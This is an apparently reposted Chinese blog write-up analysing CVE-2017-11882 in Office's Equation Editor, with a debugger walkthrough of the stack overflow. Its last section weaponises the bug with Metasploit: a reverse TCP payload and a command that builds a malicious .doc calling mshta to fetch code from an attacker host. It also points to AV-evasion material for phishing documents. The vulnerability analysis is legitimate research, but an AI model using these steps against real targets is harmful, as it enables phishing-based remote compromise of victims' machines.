Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight

前言

前段时间做安全研究的时候用了好多种方法,其中一种就是使用的CS中的office宏钓鱼,产生的样本为含有宏代码的.docm文件。样本还被人拿来分析了一通发了文章,还被外国友人在推特上点名了,自己服务器也上了黑名单。哎,受宠若惊。
图片[1]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科其实说到office钓鱼,那就肯定少不了CVE-2017-11882,这个漏洞是我去年分析APT组织蔓灵花的样本的时候遇到的,自己也一直没有深入学习和研究这个漏洞,现在有点时间了来分析学习一下,因为此漏洞是很多知名APT组织像蔓灵花、白象、摩诃草、响尾蛇等发起攻击时的开山利器,并且研究此漏洞也不需要by pass DEP和ASLR等保护机制,漏洞利用起来也不算复杂,所以对二进制漏洞感兴趣的小伙伴可以研究学习一下它还是挺不错的。

漏洞介绍

CVE-2017-11882是微软公布的一个远程代码执行漏洞,漏洞是由模块EQNEDT32.EXE公式编辑器引起,该模块在Office的安装过程中被默认安装,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。漏洞产生原因是公式编辑器EQNEDT32.EXE(路径C:\Program Files\Common Files\microsoft shared\EQUATION)读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,造成栈缓冲区溢出,劫持程序执行流程,执行自己的恶意代码,又因为插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程的子进程创建,而是以单独的进程形式存在。所以Office进程的保护机制也无法保护EQNEDT32.EXE这个进程被利用。从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本。

漏洞分析环境及工具

  1. Win7 x64
  2. Office 2003
  3. IDA
  4. OllyDbg
  5. MSF

漏洞分析

安装office

我使用的是 Office 2003(需要完全安装),我们完全安装后,可以通过下图查看是否都完全安装,菜单-》插入-》对象-》看是否有Microsoft 公式 3.0,如果没有说明安装的不是完整版。
office 2003完整版链接:https://pan.baidu.com/s/1O7BsRE4YQQLvWOWYikGz6Q 提取码:g0dh
图片[2]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科

查看漏洞文件

我们可以按照以下路径找到产生漏洞的程序,exeinfo信息显示该程序使用VC++编写。
图片[3]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科
图片[4]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科

POC验证漏洞

环境搭建好了,我们就可以使用POC来简单验证一下漏洞,打开exploit.rtf可发现没有任何提示直接弹出了计算器,说明验证成功存在漏洞。
弹计算器漏洞POC:https://github.com/Ridter/CVE-2017-11882
图片[5]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科

详细分析

因为我们打开POC时弹出了计算器,就表明创建了新的进程,创建新进程的API我们可以猜测是WinExec或者CreateProcess。这样我们就可以使用OD附加EQNEDT32.EXE,然后下API断点来进行动态调试。
我们先打开EQNEDT32.EXE然后使用OD附加上此进程。
图片[6]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科然后我们下API断点,命令:BP WinExec,然后打开POC文件,程序成功断下,堆栈中显示的内容说明我们断的位置是正确的。
图片[7]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科在上图中的堆栈中我们可以看出,WinExec的返回地址是00430C18,参数是0018F354,参数的内容是通过cmd命令来开启计算器。

此时的00430C12是用户态地址,按道理来说,ebp应该存放当前函数的返回地址,但是却显示的是41414141,很明显ebp已经被破坏了,由于此时的堆栈已经被构造的恶意shellcode破坏,所以我们往堆栈上面看看ebp是在哪里被破坏的。

找到了一个最近的返回地址00411837,我们回车进入往上翻,在函数的开头部分设置一个断点,重新运行,让程序断在这个函数内。
图片[8]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科程序断下
图片[9]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科我们F8单步运行,在00411658的地方发现这样一条指令:rep movsd dword ptr es:[edi], dword ptr [esi]该指令执行完之后,ebp就被41414141覆盖而该指令的功能是将esi的值传送到edi所指的位置。
图片[10]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科我们分别查看一下在执行上一条命令之前esi和edi的内容:

ESI:
图片[11]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科EDI:
图片[12]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科rep movsd dword ptr es:[edi], dword ptr [esi]执行完之后,EDI被成功赋值,可以看到,此时ebp所在的值已经从0018F214变成了41414141,ebp后面的返回地址已经从004115d8更改为了00430c12

图片[13]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科00430C12的地址
图片[14]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科过来执行WinExec函数之后,在WinExec函数内部又调用了CreateProcess函数。打断点可看到函数的参数,也就是参数为调用cmd弹出计算器

图片[15]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科我们通过动态调试已经知道了漏洞产生的位置是在00411658处,我们接下来使用静态分析。我们使用IDA打开EQNEDT32.EXE,然后跳转到00411658地址
图片[16]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科为了方便分析我们F5查看以下伪代码,哦~,学过C语言的同学应该一看就明白了,就是我们使用了不安全版的strcpy函数,没有对参数的长度进行判断和限制,从而导致了栈溢出。
图片[17]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科POC内容详情
图片[18]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科至此,漏洞的大致分析已经完成。

使用MSF利用漏洞

python脚本下载链接:https://github.com/Ridter/CVE-2017-11882

图片[19]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科
msf组件下载:https://github.com/0x09AL/CVE-2017-11882-metasploit

图片[20]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科把上面下载的cve_2017_11882.rb文件复制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下

图片[21]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科把下载的cve_2017_11882.rtf放到/usr/share/metasploit-framework/data/exploits/

图片[22]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科重新加载模块。
图片[23]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科使用命令search cve_2017_11882 查找对应的模块,然后use exploit/windows/smb/cve_2017_11882设置payload为反弹tcp,设置各项参数,lhost为kali的IP,使用命令set URIPATH test设置URI的路径(注意这里设置的路径test,下面使用python脚本生成doc的时候也要加上这个路径)
图片[24]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科运行,exploit -j

图片[25]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科另外打开一个终端,把Command109b_CVE-2017-11882.py复制到kai liunx桌面,cd到桌面,运行命令python Command109b_CVE-2017-11882.py -c “mshta http://192.168.62.129:8080/test” -o test2.doc 生成恶意doc文件
图片[26]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科复制文件到目标机打开

图片[27]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科返回攻击机kai liunx,看到被攻击机器已经上线

图片[28]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科然后就可以进行我们的传统手艺了~~~
图片[29]-Office钓鱼之传世经典CVE-2017-11882分析学习 – 作者:雨夜RainyNight-安全小百科

结语

本来还想写一写关于office文件钓鱼免杀的东西来着,后来想了一想其实自己知道的那些免杀知识免杀率也并不多理想。
http://www.ttk7.cn/post-71.html 这篇文章写了一些免杀手法,但是没有亲自动手实践,不知道免杀率咋样,而且好的免杀方法一旦公布出来也就不免杀了,大家可以自己研究一下office钓鱼的免杀,有好的思路可以多多实践多多交流。这里我也就不啰嗦了。

分析此漏洞和复现的时候也翻阅了很多CSDN和看雪论坛的文章,是大家无私得分享和鼓励才使得我们这些后辈学习起来更加轻松,感谢师傅们。

来源:freebuf.com 2020-07-03 10:12:49 by: 雨夜RainyNight

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论